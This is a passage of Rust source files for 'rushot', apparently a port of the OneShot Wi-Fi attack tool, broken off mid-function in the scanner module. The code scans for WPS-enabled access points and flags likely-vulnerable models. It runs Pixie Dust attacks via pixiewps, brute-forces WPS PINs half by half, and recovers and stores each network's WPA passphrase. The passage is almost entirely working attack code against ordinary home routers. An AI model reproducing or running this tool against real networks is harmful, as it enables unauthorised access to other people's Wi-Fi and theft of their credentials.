sessions_dir,
pixiewps_dir,
reports_dir,
generator: WPSpin::new(),
})
}
pub fn send_only(&self, command: &str) {
let _ = self.retsock.send_to(command.as_bytes(), &self.wpas_ctrl_path);
}
pub fn send_and_receive(&self, command: &str) -> String {
let _ = self.retsock.send_to(command.as_bytes(), &self.wpas_ctrl_path);
let mut buf = [0u8; 4096];
self.retsock.set_read_timeout(Some(Duration::from_secs(5))).ok();
match self.retsock.recv(&mut buf) {
Ok(n) => String::from_utf8_lossy(&buf[..n]).to_string(),
Err(_) => String::new(),
}
}
fn explain_wpas_not_ok_status(command: &str, respond: &str) -> &'static str {
if command.starts_with("WPS_REG") || command.starts_with("WPS_PBC") {
if respond.trim() == "UNKNOWN COMMAND" {
return "[!] It looks like your wpa_supplicant is compiled without WPS protocol support. Please build wpa_supplicant with WPS support (\"CONFIG_WPS=y\")";
}
}
"[!] Something went wrong — check out debug log"
}
fn print_with_indicators(&self, level: &str, msg: &str) {
println!("[{}] [{}] {}", level, self.last_pwr, msg);
}
fn handle_wpas_line(
&mut self,
line: &str,
pixiemode: bool,
pbc_mode: bool,
verbose: bool,
target_bssid: &str,
) {
let line = line.trim_end_matches('\n').trim_end_matches('\r');
if verbose {
eprintln!("{}", line);
}
if line.starts_with("WPS: ") {
if line.contains("Building Message M") {
if let Some(num_str) = line.split("Building Message M").nth(1) {
let cleaned = num_str.replace('D', "");
if let Ok(n) = cleaned.trim().parse::<u32>() {
self.connection_status.last_m_message = n;
self.print_with_indicators("*", &format!("Sending WPS Message M{}", n));
}
}
} else if line.contains("Received M") {
if let Some(num_str) = line.split("Received M").nth(1) {
if let Ok(n) = num_str.trim().parse::<u32>() {
self.connection_status.last_m_message = n;
self.print_with_indicators("*", &format!("Received WPS Message M{}", n));
if n == 5 {
println!("[+] The first half of the PIN is valid");
}
}
}
} else if line.contains("Received WSC_NACK") {
self.connection_status.status = "WSC_NACK".to_string();
self.print_with_indicators("*", "Received WSC NACK");
println!("[-] Error: wrong PIN code");
} else if line.contains("Enrollee Nonce") && line.contains("hexdump") {
self.pixie_creds.e_nonce = get_hex(line);
if pixiemode {
println!("[P] E-Nonce: {}", self.pixie_creds.e_nonce);
}
} else if line.contains("DH own Public Key") && line.contains("hexdump") {
self.pixie_creds.pkr = get_hex(line);
if pixiemode {
println!("[P] PKR: {}", self.pixie_creds.pkr);
}
} else if line.contains("DH peer Public Key") && line.contains("hexdump") {
self.pixie_creds.pke = get_hex(line);
if pixiemode {
println!("[P] PKE: {}", self.pixie_creds.pke);
}
} else if line.contains("AuthKey") && line.contains("hexdump") {
self.pixie_creds.authkey = get_hex(line);
if pixiemode {
println!("[P] AuthKey: {}", self.pixie_creds.authkey);
}
} else if line.contains("E-Hash1") && line.contains("hexdump") {
self.pixie_creds.e_hash1 = get_hex(line);
if pixiemode {
println!("[P] E-Hash1: {}", self.pixie_creds.e_hash1);
}
} else if line.contains("E-Hash2") && line.contains("hexdump") {
self.pixie_creds.e_hash2 = get_hex(line);
if pixiemode {
println!("[P] E-Hash2: {}", self.pixie_creds.e_hash2);
}
} else if line.contains("Network Key") && line.contains("hexdump") {
self.connection_status.status = "GOT_PSK".to_string();
let hex_val = get_hex(line);
self.connection_status.wpa_psk = parse_hex_to_string(&hex_val);
}
} else if line.contains(": State: ") {
if line.contains("-> SCANNING") {
self.connection_status.status = "scanning".to_string();
self.print_with_indicators("*", "Scanning…");
}
} else if line.contains("WPS-FAIL") && !self.connection_status.status.is_empty() {
self.connection_status.status = "WPS_FAIL".to_string();
println!("[-] wpa_supplicant returned WPS-FAIL");
} else if line.contains("Trying to authenticate with") {
self.connection_status.status = "authenticating".to_string();
if line.contains("SSID") {
if let Some(ssid) = line.split("'").nth(1) {
self.connection_status.essid = ssid.to_string();
}
}
self.print_with_indicators("*", "Authenticating…");
} else if line.contains("Authentication response") {
self.print_with_indicators("*", "Authenticated");
} else if line.contains("Trying to associate with") {
self.connection_status.status = "associating".to_string();
if line.contains("SSID") {
if let Some(ssid) = line.split("'").nth(1) {
self.connection_status.essid = ssid.to_string();
}
}
self.print_with_indicators("*", "Associating with AP…");
} else if line.contains("Associated with") && line.contains(&self.interface) {
if let Some(bssid) = line.split_whitespace().last() {
let bssid_upper = bssid.to_uppercase();
if !self.connection_status.essid.is_empty() {
self.print_with_indicators(
"+",
&format!(
"Associated with {} (ESSID: {})",
bssid_upper, self.connection_status.essid
),
);
} else {
self.print_with_indicators("+", &format!("Associated with {}", bssid_upper));
}
}
} else if line.contains("EAPOL: txStart") {
self.connection_status.status = "eapol_start".to_string();
self.print_with_indicators("*", "Sending EAPOL Start…");
} else if line.contains("EAP entering state IDENTITY") {
self.print_with_indicators("*", "Received Identity Request");
} else if line.contains("using real identity") {
self.print_with_indicators("*", "Sending Identity Response…");
} else if !self.bssid.is_empty() && line.contains(&self.bssid) && line.contains("level=") {
if let Some(lvl) = line.split("level=").nth(1) {
if let Some(sig) = lvl.split_whitespace().next() {
self.last_pwr = sig.to_string();
}
}
} else if pbc_mode && line.contains("selected BSS ") {
if let Some(part) = line.split("selected BSS ").nth(1) {
if let Some(bssid) = part.split_whitespace().next() {
let bssid_upper = bssid.to_uppercase();
self.connection_status.bssid = bssid_upper.clone();
println!("[*] Selected AP: {}", bssid_upper);
}
}
} else if !target_bssid.is_empty() && line.contains(target_bssid) && line.contains("level=")
{
if let Some(lvl) = line.split("level=").nth(1) {
if let Some(sig) = lvl.split_whitespace().next() {
if line.contains("noise=") {
if let Some(n) = line.split("noise=").nth(1) {
if let Some(noise) = n.split_whitespace().next() {
println!("[i] Current signal: {}, noise: {}", sig, noise);
}
}
} else {
println!("[i] Current signal: {}", sig);
}
}
}
}
}
fn run_pixiewps(&self, showcmd: bool, full_range: bool) -> Option<String> {
self.print_with_indicators("*", "Running Pixiewps…");
let cmd = self.pixie_creds.get_pixie_cmd(full_range);
if showcmd {
println!("{}", cmd);
}
let output = Command::new("sh").arg("-c").arg(&cmd).output();
let output = match output {
Ok(o) => o,
Err(e) => {
println!("[!] Error running pixiewps: {}", e);
return None;
}
};
let stdout = String::from_utf8_lossy(&output.stdout);
print!("{}", stdout);
if output.status.success() {
for line in stdout.lines() {
if line.contains("[+]") && line.contains("WPS pin") {
if let Some(pin_part) = line.split(':').last() {
let mut pin = pin_part.trim().to_string();
if pin == "<empty>" {
pin = "''".to_string();
}
return Some(pin);
}
}
}
}
None
}
fn credential_print(&self, wps_pin: &str, wpa_psk: &str, essid: &str) {
println!("[+] WPS PIN: '{}'", wps_pin);
println!("[+] WPA PSK: '{}'", wpa_psk);
println!("[+] AP SSID: '{}'", essid);
}
fn save_result(&self, bssid: &str, essid: &str, wps_pin: &str, wpa_psk: &str) {
fs::create_dir_all(&self.reports_dir).ok();
let txt_filename = self.reports_dir.join("stored.txt");
let csv_filename = self.reports_dir.join("stored.csv");
let date_str = Local::now().format("%d.%m.%Y %H:%M").to_string();
if let Ok(mut file) = OpenOptions::new()
.create(true)
.append(true)
.open(&txt_filename)
{
let _ = writeln!(
file,
"{}\nBSSID: {}\nESSID: {}\nWPS PIN: {}\nWPA PSK: {}\n",
date_str, bssid, essid, wps_pin, wpa_psk
);
}
let write_header = !csv_filename.exists();
if let Ok(mut file) = OpenOptions::new()
.create(true)
.append(true)
.open(&csv_filename)
{
if write_header {
let _ = writeln!(file, "\"Date\";\"BSSID\";\"ESSID\";\"WPS PIN\";\"WPA PSK\"");
}
let _ = writeln!(
file,
"\"{}\";\"{}\";\"{}\";\"{}\";\"{}\"",
date_str, bssid, essid, wps_pin, wpa_psk
);
}
println!(
"[i] Credentials saved to {}, {}",
txt_filename.display(),
csv_filename.display()
);
}
fn save_pin(&self, bssid: &str, pin: &str) {
let clean_bssid = bssid.replace(':', "").to_uppercase();
let filename = self.pixiewps_dir.join(format!("{}.run", clean_bssid));
if let Ok(mut file) = File::create(&filename) {
let _ = writeln!(file, "{}", pin);
println!("[i] PIN saved in {}", filename.display());
}
}
fn wps_connection(
&mut self,
bssid: Option<&str>,
pin: Option<&str>,
pixiemode: bool,
pbc_mode: bool,
verbose_override: Option<bool>,
) -> bool {
let verbose = verbose_override.unwrap_or(self.print_debug);
self.pixie_creds.clear();
self.connection_status.clear();
let cmd = if pbc_mode {
if let Some(b) = bssid {
println!("[*] Starting WPS push button connection to {}", b);
format!("WPS_PBC {}", b)
} else {
println!("[*] Starting WPS push button connection…");
"WPS_PBC".to_string()
}
} else {
let p = pin.unwrap_or("");
let b = bssid.unwrap_or("");
println!("[*] Trying PIN '{}'…", p);
format!("WPS_REG {} {}", b, p)
};
let r = self.send_and_receive(&cmd);
if !r.contains("OK") {
self.connection_status.status = "WPS_FAIL".to_string();
println!("{}", Self::explain_wpas_not_ok_status(&cmd, &r));
return false;
}
let target_b = bssid.unwrap_or("").to_lowercase();
let stdout = self.wpas.stdout.take();
if let Some(out) = stdout {
let reader = BufReader::new(out);
for line_res in reader.lines() {
let line = match line_res {
Ok(l) => l,
Err(_) => break,
};
self.handle_wpas_line(&line, pixiemode, pbc_mode, verbose, &target_b);
if self.connection_status.status == "WSC_NACK"
|| self.connection_status.status == "GOT_PSK"
|| self.connection_status.status == "WPS_FAIL"
{
break;
}
}
}
self.send_only("WPS_CANCEL");
false
}
pub fn single_connection(
&mut self,
bssid: Option<&str>,
mut pin: Option<String>,
pixiemode: bool,
pbc_mode: bool,
showpixiecmd: bool,
pixieforce: bool,
store_pin_on_fail: bool,
) -> bool {
let bssid_str = bssid.unwrap_or("").to_string();
if pin.is_none() {
if pixiemode {
let clean_bssid = bssid_str.replace(':', "").to_uppercase();
let filename = self.pixiewps_dir.join(format!("{}.run", clean_bssid));
let mut loaded_pin = None;
if let Ok(file) = File::open(&filename) {
let mut reader = BufReader::new(file);
let mut first_line = String::new();
if reader.read_line(&mut first_line).is_ok() && !first_line.trim().is_empty() {
let t_pin = first_line.trim().to_string();
print!(
"[?] Use previously calculated PIN {}? [n/Y] ",
t_pin
);
io::stdout().flush().ok();
let mut ans = String::new();
io::stdin().read_line(&mut ans).ok();
if !ans.trim().eq_ignore_ascii_case("n") {
loaded_pin = Some(t_pin);
}
}
}
pin = loaded_pin.or_else(|| {
Some(
self.generator
.get_likely(&bssid_str)
.unwrap_or_else(|| "12345670".to_string()),
)
});
} else if !pbc_mode {
pin = self
.generator
.prompt_wpspin(&bssid_str)
.or_else(|| Some("12345670".to_string()));
}
}
let effective_pin = pin.clone().unwrap_or_else(|| "<PBC mode>".to_string());
if pbc_mode {
self.wps_connection(bssid, None, false, true, None);
let bssid_got = self.connection_status.bssid.clone();
return self.finish_connection(
&bssid_got,
"<PBC mode>",
pixiemode,
pbc_mode,
showpixiecmd,
pixieforce,
store_pin_on_fail,
);
} else {
self.wps_connection(bssid, pin.as_deref(), pixiemode, false, None);
return self.finish_connection(
&bssid_str,
&effective_pin,
pixiemode,
pbc_mode,
showpixiecmd,
pixieforce,
store_pin_on_fail,
);
}
}
fn finish_connection(
&mut self,
bssid: &str,
pin: &str,
pixiemode: bool,
pbc_mode: bool,
showpixiecmd: bool,
pixieforce: bool,
store_pin_on_fail: bool,
) -> bool {
if self.connection_status.status == "GOT_PSK" {
let psk = self.connection_status.wpa_psk.clone();
let essid = self.connection_status.essid.clone();
self.credential_print(pin, &psk, &essid);
if self.save_result {
self.save_result(bssid, &essid, pin, &psk);
}
if !pbc_mode {
let clean_bssid = bssid.replace(':', "").to_uppercase();
let filename = self.pixiewps_dir.join(format!("{}.run", clean_bssid));
let _ = fs::remove_file(filename);
}
return true;
} else if pixiemode {
if self.pixie_creds.got_all() {
if let Some(found_pin) = self.run_pixiewps(showpixiecmd, pixieforce) {
return self.single_connection(
Some(bssid),
Some(found_pin),
false,
false,
showpixiecmd,
pixieforce,
true,
);
}
return false;
} else {
println!("[!] Not enough data to run Pixie Dust attack");
return false;
}
} else {
if store_pin_on_fail {
self.save_pin(bssid, pin);
}
return false;
}
}
pub fn smart_bruteforce(
&mut self,
bssid: &str,
start_pin: Option<String>,
delay: Option<f64>,
) {
let mask = if start_pin.is_none() || start_pin.as_ref().unwrap().len() < 4 {
let clean_bssid = bssid.replace(':', "").to_uppercase();
let filename = self.sessions_dir.join(format!("{}.run", clean_bssid));
let mut restored = None;
if let Ok(file) = File::open(&filename) {
let mut reader = BufReader::new(file);
let mut line = String::new();
if reader.read_line(&mut line).is_ok() && !line.trim().is_empty() {
let m = line.trim().to_string();
print!("[?] Restore previous session for {}? [n/Y] ", bssid);
io::stdout().flush().ok();
let mut ans = String::new();
io::stdin().read_line(&mut ans).ok();
if !ans.trim().eq_ignore_ascii_case("n") {
restored = Some(m);
}
}
}
restored.unwrap_or_else(|| "0000".to_string())
} else {
let p = start_pin.unwrap();
if p.len() >= 7 {
p[..7].to_string()
} else {
p
}
};
let mut status = BruteforceStatus::new();
status.mask = mask.clone();
self.bruteforce = Some(status);
if mask.len() == 4 {
if let Some(f_half) = self.first_half_bruteforce(bssid, &mask, delay) {
if self.connection_status.status != "GOT_PSK" {
self.second_half_bruteforce(bssid, &f_half, "001", delay);
}
}
} else if mask.len() >= 7 {
let f_half = &mask[..4];
let s_half = &mask[4..7];
self.second_half_bruteforce(bssid, f_half, s_half, delay);
}
// Save session on exit
let clean_bssid = bssid.replace(':', "").to_uppercase();
let filename = self.sessions_dir.join(format!("{}.run", clean_bssid));
if let Some(ref b_status) = self.bruteforce {
if let Ok(mut f) = File::create(&filename) {
let _ = writeln!(f, "{}", b_status.mask);
println!("[i] Session saved in {}", filename.display());
}
}
}
fn first_half_bruteforce(
&mut self,
bssid: &str,
start_f_half: &str,
delay: Option<f64>,
) -> Option<String> {
let mut cur: u32 = start_f_half.parse().unwrap_or(0);
while cur < 10000 {
let f_half_str = format!("{:04}", cur);
let t: u32 = format!("{}000", f_half_str).parse().unwrap_or(0);
let csum = WPSpin::checksum(t);
let pin = format!("{}000{}", f_half_str, csum);
self.single_connection(
Some(bssid),
Some(pin),
false,
false,
false,
false,
false,
);
if self.connection_status.is_first_half_valid() {
println!("[+] First half found");
return Some(f_half_str);
} else if self.connection_status.status == "WPS_FAIL" {
println!("[!] WPS transaction failed, re-trying last pin");
return self.first_half_bruteforce(bssid, &f_half_str, delay);
}
cur += 1;
if let Some(ref mut b_status) = self.bruteforce {
b_status.register_attempt(format!("{:04}", cur));
}
if let Some(d) = delay {
thread::sleep(Duration::from_secs_f64(d));
}
}
println!("[-] First half not found");
None
}
fn second_half_bruteforce(
&mut self,
bssid: &str,
f_half: &str,
start_s_half: &str,
delay: Option<f64>,
) -> Option<String> {
let mut cur: u32 = start_s_half.parse().unwrap_or(0);
while cur < 1000 {
let s_half_str = format!("{:03}", cur);
let t: u32 = format!("{}{}", f_half, s_half_str).parse().unwrap_or(0);
let csum = WPSpin::checksum(t);
let pin = format!("{}{}{}", f_half, s_half_str, csum);
self.single_connection(
Some(bssid),
Some(pin.clone()),
false,
false,
false,
false,
false,
);
if self.connection_status.last_m_message > 6 {
return Some(pin);
} else if self.connection_status.status == "WPS_FAIL" {
println!("[!] WPS transaction failed, re-trying last pin");
return self.second_half_bruteforce(bssid, f_half, &s_half_str, delay);
}
cur += 1;
if let Some(ref mut b_status) = self.bruteforce {
b_status.register_attempt(format!("{}{:03}", f_half, cur));
}
if let Some(d) = delay {
thread::sleep(Duration::from_secs_f64(d));
}
}
None
}
pub fn cleanup(&self) {
let _ = fs::remove_file(&self.res_socket_file);
}
}
impl Drop for Companion {
fn drop(&mut self) {
self.cleanup();
let _ = self.wpas.kill();
}
}

69
src/mac.rs Normal file
View file

@ -0,0 +1,69 @@
use std::fmt;
#[derive(Debug, Clone, PartialEq, Eq, PartialOrd, Ord)]
pub struct NetworkAddress {
int_repr: u64,
str_repr: String,
}
impl NetworkAddress {
pub fn from_str(mac: &str) -> Result<Self, String> {
let cleaned = mac.replace(['-', '.'], ":").to_uppercase();
let hex_digits = cleaned.replace(':', "");
if hex_digits.len() != 12 {
return Err("Invalid MAC address length".to_string());
}
let int_val = u64::from_str_radix(&hex_digits, 16)
.map_err(|_| "Invalid hex digits in MAC address".to_string())?;
let str_val = Self::int2mac(int_val);
Ok(Self {
int_repr: int_val,
str_repr: str_val,
})
}
#[allow(dead_code)]
pub fn from_int(mac: u64) -> Self {
Self {
int_repr: mac,
str_repr: Self::int2mac(mac),
}
}
pub fn integer(&self) -> u64 {
self.int_repr
}
pub fn set_integer(&mut self, val: u64) {
self.int_repr = val;
self.str_repr = Self::int2mac(val);
}
pub fn string(&self) -> &str {
&self.str_repr
}
#[allow(dead_code)]
pub fn set_string(&mut self, s: &str) {
if let Ok(addr) = Self::from_str(s) {
self.int_repr = addr.int_repr;
self.str_repr = addr.str_repr;
}
}
fn int2mac(mac: u64) -> String {
let hex_str = format!("{:012X}", mac & 0xFFFFFFFFFFFF);
let mut parts = Vec::new();
for i in (0..12).step_by(2) {
parts.push(&hex_str[i..i + 2]);
}
parts.join(":")
}
}
impl fmt::Display for NetworkAddress {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
write!(f, "{}", self.str_repr)
}
}

217
src/main.rs Normal file
View file

@ -0,0 +1,217 @@
mod companion;
mod mac;
mod scanner;
mod wpspin;
use clap::Parser;
use companion::Companion;
use scanner::WiFiScanner;
use std::fs;
use std::io::{self, Write};
use std::path::Path;
use std::process::{exit, Command};
/// OneShotPin 0.0.2 in Rust (rushot) - Wi-Fi WPA WPS PIN attack tool
#[derive(Parser, Debug)]
#[command(
name = "rushot",
author = "JesusChapman",
version = "0.1.0",
about = "Wi-Fi WPA WPS PIN attack and scanning tool reimplemented 1:1 in Rust",
after_help = "Example: rushot -i wlan0 -b 00:90:4C:C1:AC:21 -K"
)]
struct Args {
/// Name of the interface to use
#[arg(short = 'i', long = "interface", required = true)]
interface: String,
/// BSSID of the target AP
#[arg(short = 'b', long = "bssid")]
bssid: Option<String>,
/// Use the specified pin (arbitrary string or 4/8 digit pin)
#[arg(short = 'p', long = "pin")]
pin: Option<String>,
/// Run Pixie Dust attack
#[arg(short = 'K', long = "pixie-dust")]
pixie_dust: bool,
/// Run Pixiewps with --force option (bruteforce full range)
#[arg(short = 'F', long = "pixie-force")]
pixie_force: bool,
/// Always print Pixiewps command
#[arg(short = 'X', long = "show-pixie-cmd")]
show_pixie_cmd: bool,
/// Run online bruteforce attack
#[arg(short = 'B', long = "bruteforce")]
bruteforce: bool,
/// Run WPS push button connection
#[arg(long = "pbc", alias = "push-button-connect")]
pbc: bool,
/// Set the delay between pin attempts (in seconds)
#[arg(short = 'd', long = "delay")]
delay: Option<f64>,
/// Write AP credentials to file on success
#[arg(short = 'w', long = "write")]
write: bool,
/// Down network interface when the work is finished
#[arg(long = "iface-down")]
iface_down: bool,
/// Use custom file with vulnerable devices list
#[arg(long = "vuln-list", default_value = "vulnwsc.txt")]
vuln_list: String,
/// Run in a loop
#[arg(short = 'l', long = "loop")]
loop_mode: bool,
/// Reverse order of networks in the list of networks. Useful on small displays
#[arg(short = 'r', long = "reverse-scan")]
reverse_scan: bool,
/// Activate MediaTek Wi-Fi interface driver on startup and deactivate it on exit
#[arg(long = "mtk-wifi")]
mtk_wifi: bool,
/// Verbose output
#[arg(short = 'v', long = "verbose")]
verbose: bool,
}
fn die(msg: &str) -> ! {
eprintln!("{}", msg);
exit(1);
}
fn iface_up(iface: &str, down: bool) -> bool {
let action = if down { "down" } else { "up" };
let status = Command::new("ip")
.args(["link", "set", iface, action])
.status();
match status {
Ok(s) => s.success(),
Err(_) => false,
}
}
fn main() {
let mut args = Args::parse();
// Check root user
let uid = unsafe { libc::getuid() };
if uid != 0 {
die("Run it as root");
}
if args.mtk_wifi {
let mtk_path = Path::new("/dev/wmtWifi");
if !mtk_path.exists() {
die("Unable to activate MediaTek Wi-Fi interface device (--mtk-wifi): /dev/wmtWifi does not exist");
}
let _ = Command::new("chmod").args(["644", "/dev/wmtWifi"]).status();
if fs::write(mtk_path, "1").is_err() {
die("Failed to write '1' to /dev/wmtWifi");
}
}
if !iface_up(&args.interface, false) {
die(&format!("Unable to up interface \"{}\"", args.interface));
}
loop {
let target_bssid = if args.pbc {
None
} else {
if args.bssid.is_none() {
let vuln_list = if Path::new(&args.vuln_list).exists() {
fs::read_to_string(&args.vuln_list)
.unwrap_or_default()
.lines()
.map(|s| s.to_string())
.collect()
} else {
Vec::new()
};
let scanner = WiFiScanner::new(args.interface.clone(), vuln_list);
if !args.loop_mode {
println!("[*] BSSID not specified (--bssid) — scanning for available networks");
}
args.bssid = scanner.prompt_network(args.reverse_scan);
}
args.bssid.clone()
};
let mut companion = match Companion::new(
args.interface.clone(),
args.write,
args.verbose,
target_bssid.clone().unwrap_or_default(),
) {
Ok(c) => c,
Err(e) => {
eprintln!("[!] Companion init error: {}", e);
break;
}
};
if args.pbc {
companion.single_connection(
None,
None,
false,
true,
false,
false,
false,
);
} else if let Some(ref bssid_val) = target_bssid {
if args.bruteforce {
companion.smart_bruteforce(bssid_val, args.pin.clone(), args.delay);
} else {
companion.single_connection(
Some(bssid_val),
args.pin.clone(),
args.pixie_dust,
false,
args.show_pixie_cmd,
args.pixie_force,
false,
);
}
}
if !args.loop_mode {
break;
} else {
args.bssid = None;
print!("\n[?] Exit the script (otherwise continue to AP scan)? [N/y] ");
io::stdout().flush().ok();
let mut ans = String::new();
if io::stdin().read_line(&mut ans).is_ok() {
if ans.trim().eq_ignore_ascii_case("y") {
println!("Aborting…");
break;
}
} else {
break;
}
}
}
if args.iface_down {
iface_up(&args.interface, true);
}
if args.mtk_wifi {
let _ = fs::write("/dev/wmtWifi", "0");
}
}

344
src/scanner.rs Normal file
View file

@ -0,0 +1,344 @@
use colored::*;
use regex::Regex;
use std::fs::File;
use std::io::{self, BufRead, BufReader, Write};
use std::process::Command;
use unicode_width::UnicodeWidthStr;
#[derive(Debug, Clone)]
pub struct WiFiNetwork {
pub bssid: String,
pub essid: String,
pub level: i32,
pub security_type: String,
pub wps: bool,
pub wps_locked: bool,
pub model: String,
pub model_number: String,
pub device_name: String,
}
pub struct WiFiScanner {
pub interface: String,
pub vuln_list: Vec<String>,
pub stored: Vec<(String, String)>,
}
impl WiFiScanner {
pub fn new(interface: String, vuln_list: Vec<String>) -> Self {
let stored = Self::load_stored_reports();
Self {
interface,
vuln_list,
stored,
}
}
fn load_stored_reports() -> Vec<(String, String)> {
let path = "reports/stored.csv";
let file = match File::open(path) {
Ok(f) => f,
Err(_) => return Vec::new(),
};
let reader = BufReader::new(file);
let mut stored = Vec::new();
for (i, line) in reader.lines().enumerate() {
if i == 0 {
continue; // Skip header
}
if let Ok(l) = line {
let parts: Vec<&str> = l.split(';').map(|s| s.trim_matches('"')).collect();
if parts.len() >= 3 {
stored.push((parts[1].to_uppercase(), parts[2].to_string()));
}
}
}
stored
}
fn unescape_str(s: &str) -> String {
let mut result = String::new();
let mut chars = s.chars().peekable();
while let Some(c) = chars.next() {
if c == '\\' {
if let Some(&next) = chars.peek() {
match next {
'x' => {
chars.next();
let h1 = chars.next().unwrap_or('0');
let h2 = chars.next().unwrap_or('0');
let hex_str = format!("{}{}", h1, h2);
if let Ok(byte) = u8::from_str_radix(&hex_str, 16) {
result.push(byte as char);
}
}
'n' => {
chars.next();
result.push('\n');
}
'r' => {
chars.next();
result.push('\r');
}
't' => {
chars.next();
result.push('\t');
}
'\\' => {
chars.next();
result.push('\\');
}
_ => {
result.push(c);
}
}
} else {
result.push(c);
}
} else {
result.push(c);
}
}
result
}
pub fn iw_scanner(&self, reverse_scan: bool) -> Option<Vec<WiFiNetwork>> {
let output = Command::new("iw")
.args(["dev", &self.interface, "scan"])
.output();
let output = match output {
Ok(o) => o,
Err(e) => {
println!("[!] Error running iw scan: {}", e);
return None;
}
};
let stdout = String::from_utf8_lossy(&output.stdout);
let lines: Vec<&str> = stdout.lines().collect();
let re_bss = Regex::new(r"BSS (\S+)( )?\(on \w+\)").unwrap();
let re_ssid = Regex::new(r"SSID: (.*)").unwrap();
let re_signal = Regex::new(r"signal: ([+-]?([0-9]*[.])?[0-9]+) dBm").unwrap();
let re_cap = Regex::new(r"(capability): (.+)").unwrap();
let re_rsn = Regex::new(r"(RSN):\t [*] Version: (\d+)").unwrap();
let re_wpa = Regex::new(r"(WPA):\t [*] Version: (\d+)").unwrap();
let re_wps = Regex::new(r"WPS:\t [*] Version: (([0-9]*[.])?[0-9]+)").unwrap();
let re_wps_lock = Regex::new(r" [*] AP setup locked: (0x[0-9]+)").unwrap();
let re_model = Regex::new(r" [*] Model: (.*)").unwrap();
let re_model_num = Regex::new(r" [*] Model Number: (.*)").unwrap();
let re_dev_name = Regex::new(r" [*] Device name: (.*)").unwrap();
let mut networks: Vec<WiFiNetwork> = Vec::new();
for line in lines {
if line.starts_with("command failed:") {
println!("[!] Error: {}", line);
return None;
}
let line_trimmed = line.trim_start_matches('\t');
if let Some(cap) = re_bss.captures(line_trimmed) {
let bssid = cap.get(1).unwrap().as_str().to_uppercase();
networks.push(WiFiNetwork {
bssid,
essid: String::new(),
level: 0,
security_type: "Unknown".to_string(),
wps: false,
wps_locked: false,
model: String::new(),
model_number: String::new(),
device_name: String::new(),
});
}
if networks.is_empty() {
continue;
}
let cur = networks.last_mut().unwrap();
if let Some(cap) = re_ssid.captures(line_trimmed) {
cur.essid = Self::unescape_str(cap.get(1).unwrap().as_str());
} else if let Some(cap) = re_signal.captures(line_trimmed) {
if let Ok(val) = cap.get(1).unwrap().as_str().parse::<f64>() {
cur.level = val as i32;
}
} else if let Some(cap) = re_cap.captures(line_trimmed) {
let cap_str = cap.get(2).unwrap().as_str();
if cap_str.contains("Privacy") {
cur.security_type = "WEP".to_string();
} else {
cur.security_type = "Open".to_string();
}
} else if let Some(_) = re_rsn.captures(line_trimmed) {
if cur.security_type == "WEP" {
cur.security_type = "WPA2".to_string();
} else if cur.security_type == "WPA" {
cur.security_type = "WPA/WPA2".to_string();
}
} else if let Some(_) = re_wpa.captures(line_trimmed) {
if cur.security_type == "WEP" {
cur.security_type = "WPA".to_string();
} else if cur.security_type == "WPA2" {
cur.security_type = "WPA/WPA2".to_string();
}
} else if let Some(_) = re_wps.captures(line_trimmed) {
cur.wps = true;
} else if let Some(cap) = re_wps_lock.captures(line_trimmed) {
let hex_val = cap.get(1).unwrap().as_str();
if let Ok(flag) = u32::from_str_radix(hex_val.trim_start_matches("0x"), 16) {
if flag != 0 {
cur.wps_locked = true;
}
}
} else if let Some(cap) = re_model.captures(line_trimmed) {
cur.model = Self::unescape_str(cap.get(1).unwrap().as_str());
} else if let Some(cap) = re_model_num.captures(line_trimmed) {
cur.model_number = Self::unescape_str(cap.get(1).unwrap().as_str());
} else if let Some(cap) = re_dev_name.captures(line_trimmed) {
cur.device_name = Self::unescape_str(cap.get(1).unwrap().as_str());
}
}
// Filter non-WPS networks
let mut wps_networks: Vec<WiFiNetwork> =
networks.into_iter().filter(|n| n.wps).collect();
if wps_networks.is_empty() {
return None;
}
// Sort by signal level descending
wps_networks.sort_by(|a, b| b.level.cmp(&a.level));
if reverse_scan {
wps_networks.reverse();
}
if !self.vuln_list.is_empty() {
println!(
"Network marks: {} | {} | {}",
"Possibly vulnerable".green(),
"WPS locked".red(),
"Already stored".yellow()
);
}
println!("Networks list:");
println!(
"{:<4} {:<18} {:<25} {:<8} {:<4} {:<27} {:<}",
"#", "BSSID", "ESSID", "Sec.", "PWR", "WSC device name", "WSC model"
);
for (i, net) in wps_networks.iter().enumerate() {
let number_str = format!("{})", i + 1);
let model_full = format!("{} {}", net.model, net.model_number);
let essid_display = if net.essid.is_empty() {
"HIDDEN".to_string()
} else {
net.essid.clone()
};
let proc_num = Self::truncate_str(&number_str, 4);
let proc_bssid = Self::truncate_str(&net.bssid, 18);
let proc_essid = Self::truncate_str(&essid_display, 25);
let proc_sec = Self::truncate_str(&net.security_type, 8);
let proc_pwr = Self::truncate_str(&net.level.to_string(), 4);
let proc_dev = Self::truncate_str(&net.device_name, 27);
let proc_model = model_full.clone();
let line = format!(
"{} {} {} {} {} {} {}",
proc_num, proc_bssid, proc_essid, proc_sec, proc_pwr, proc_dev, proc_model
);
let is_stored = self
.stored
.iter()
.any(|(b, e)| b == &net.bssid && e == &essid_display);
if is_stored {
println!("{}", line.yellow());
} else if net.wps_locked {
println!("{}", line.red());
} else if !self.vuln_list.is_empty() && self.vuln_list.contains(&model_full) {
println!("{}", line.green());
} else {
println!("{}", line);
}
}
Some(wps_networks)
}
pub fn prompt_network(&self, reverse_scan: bool) -> Option<String> {
loop {
let networks = self.iw_scanner(reverse_scan);
let networks = match networks {
Some(nets) => nets,
None => {
println!("[-] No WPS networks found.");
return None;
}
};
loop {
print!("Select target (press Enter to refresh): ");
io::stdout().flush().ok();
let mut input = String::new();
if io::stdin().read_line(&mut input).is_err() {
return None;
}
let trimmed = input.trim();
if trimmed.is_empty() || trimmed.eq_ignore_ascii_case("r") || trimmed == "0" {
break; // Refresh scan
}
if let Ok(num) = trimmed.parse::<usize>() {
if num >= 1 && num <= networks.len() {
return Some(networks[num - 1].bssid.clone());
}
}
println!("Invalid number");
}
}
}
fn truncate_str(s: &str, target_width: usize) -> String {
let width = UnicodeWidthStr::width(s);
if width <= target_width {
let pad = target_width - width;
return format!("{}{}", s, " ".repeat(pad));
}
let postfix = "";
let postfix_width = UnicodeWidthStr::width(postfix);
let max_allowed = if target_width > postfix_width {
target_width - postfix_width
} else {
0
};
let mut current_width = 0;
let mut truncated = String::new();
for c in s.chars() {
let ch_w = UnicodeWidthStr::width(c.to_string().as_str());
if current_width + ch_w > max_allowed {
break;
}
truncated.push(c);
current_width += ch_w;
}
truncated.push_str(postfix);
let final_w = UnicodeWidthStr::width(truncated.as_str());
if final_w < target_width {
